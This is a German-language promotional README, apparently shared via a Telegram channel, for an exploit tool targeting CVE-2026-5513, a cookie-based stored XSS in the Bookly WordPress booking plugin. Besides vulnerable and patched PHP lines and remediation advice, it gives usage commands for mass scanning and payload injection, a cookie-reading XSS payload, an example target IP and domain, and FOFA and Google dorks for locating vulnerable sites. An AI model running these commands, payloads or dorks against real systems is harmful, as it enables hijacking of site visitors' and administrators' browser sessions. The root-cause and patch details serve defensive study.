CVE-2026-5513 https://t.me/FreeToolsCpa

CVE-2026-5513 — Bookly ≤ 27.2 Gespeichertes XSS via Cookie CVE-2026-5513 — Bookly ≤ 27.2 Gespeichertes XSS via Cookie CVE CVSS Type Auth https://t.me/FreeToolsCpa CVE-Datei in Gruppe
Übersicht Feld Wert CVE-ID CVE-2026-5513 Schwachstelle Gespeichertes Cross-Site-Scripting (XSS) Plugin Bookly — Online Scheduling and Appointment Booking System Betroffen ≤ 27.2 Patched 27.3+ CVSS 3.1 7.2 (Hoch) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N CWE CWE-79 Auth Required Keine Voraussetzung Erinnerung an persönliche Daten in Cookies muss aktiviert sein (standardmäßig deaktiviert) Beschreibung Das Bookly-Plugin für WordPress ist anfällig für gespeichertes Cross-Site-Scripting über den Cookie bookly-customer-full-name in Versionen bis einschließlich 27.2 aufgrund unzureichender Eingabebereinigung und Ausgabe-Escaping.

Wenn die Einstellung „Erinnerung an persönliche Daten in Cookies“ aktiviert ist, liest das Plugin den Wert des Cookies bookly-customer-full-name und gibt ihn direkt in das HTML des Buchungsformulars aus, ohne ordnungsgemäßes Escaping. Ein nicht authentifizierter Angreifer kann über diesen Cookie beliebige JavaScript-Payloads injizieren, die ausgeführt werden, wenn ein Benutzer (einschließlich Administratoren) eine Seite mit dem Bookly-Buchungsformular besucht.

Angriffsablauf Angreifer → Setzt bösartigen Cookie (bookly-customer-full-name=<script>...</script>) → Besucht Seite mit Bookly-Buchungsformular → Plugin liest Cookie, gibt Wert ohne Escaping aus → XSS-Payload wird im Browser-Kontext des Opfers ausgeführt Ursache

// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // No sanitization
echo '<input type="text" value="' . $full_name . '" />';  // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

Funktionen ✓ Automatisches IP-/Domain-Probieren (HTTP/HTTPS, gängige Ports, Weiterleitungserkennung) ✓ WordPress- & Bookly-Plugin-Erkennung mit Versionsprüfung ✓ Cookie-Einstellungserkennung (BooklyL10n JS-Analyse + Canary-Reflexion) ✓ Multi-Kontext-XSS-Tests (HTML, JavaScript, Attribut-Injektion) ✓ Payload-Injektion mit Reflexionsprüfung ✓ Einzelnes Ziel oder Massenscan aus Datei ✓ Multithreaded-Scanning (bis zu 20 Threads) ✓ Proxy-Unterstützung (Burp, usw.) ✓ Automatisches Speichern verwundbarer Ergebnisse ✓ Interaktives Menü + CLI-Modi Installation

pip install requests colorama

Verwendung CLI-Modus

# Einzelnes Ziel überprüfen
python CVE-2026-5513.py -u https://target.com -v

# Einzelne IP überprüfen (Auto-Probe Ports + Weiterleitungen)
python CVE-2026-5513.py -u 167.99.0.203 -v

# Überprüfen + XSS-Payload injizieren
python CVE-2026-5513.py -u https://target.com --inject -v

# Benutzerdefinierte XSS-Payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# Massenscan aus Datei
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# Mit Burp-Proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

Interaktiver Modus

python CVE-2026-5513.py

Optionen Flag Beschreibung -u URL Einzelnes Ziel (URL, Domain oder IP) -l DATEI Datei mit Zielliste (eines pro Zeile) --inject XSS-Payload injizieren (Standard: nur prüfen) --payload STR Benutzerdefinierte XSS-Payload -t N Anzahl Threads (Standard: 10, max: 20) --proxy URL HTTP-Proxy (z. B. http://127.0.0.1:8080) -o DATEI Ergebnisse in Datei speichern -v Ausführliche Ausgabe Zielformate Das Tool akzeptiert jedes dieser Formate in -u oder in der Zielliste:

https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

Bei bloßen IPs führt das Tool automatisch folgende Schritte aus:

• Testet die Ports 443, 80, 8443, 8080
• Erkennt HTTP → HTTPS-Weiterleitungen
• Erkennt IP → Domain-Weiterleitungen (z. B. 167.99.0.203 → https://book.repairrite.com)
• Scannt WordPress-Unterverzeichnisse (/wp/, /blog/, /wordpress/, usw.) Exploit-Kette

SCHRITT 0 → Ziel testen (IP/Domain → Basis-URL auflösen, Weiterleitungen erkennen)
SCHRITT 1 → Bookly-Plugin erkennen (readme.txt, Plugin-Verzeichnis, Assets, Versionsprüfung)
SCHRITT 2 → Cookie-Einstellung prüfen (BooklyL10n JS-Analyse + Canary-Reflexionstest)
SCHRITT 3 → XSS-Reflexion testen (HTML-Kontext, JS-Kontext, Attribut-Kontext)
SCHRITT 4 → Payload injizieren (falls --inject-Modus, Reflexion prüfen)

Google Dorks

# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"

Behebung Priorität Aktion 🔴 Bookly auf Version 27.3+ aktualisieren 🟡 „Erinnerung an persönliche Daten in Cookies“ in Bookly-Einstellungen → Allgemein deaktivieren 🟢 WAF-Regeln bereitstellen, um XSS in Cookie-Werten zu filtern 🟢 Content-Security-Policy (CSP)-Header implementieren Referenzen NVD — CVE-2026-5513 Wordfence-Hinweis Tenable Bookly-Änderungsprotokoll Haftungsausschluss Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Tests durchführen. Der Autor ist nicht verantwortlich für Missbrauch dieses Tools. https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa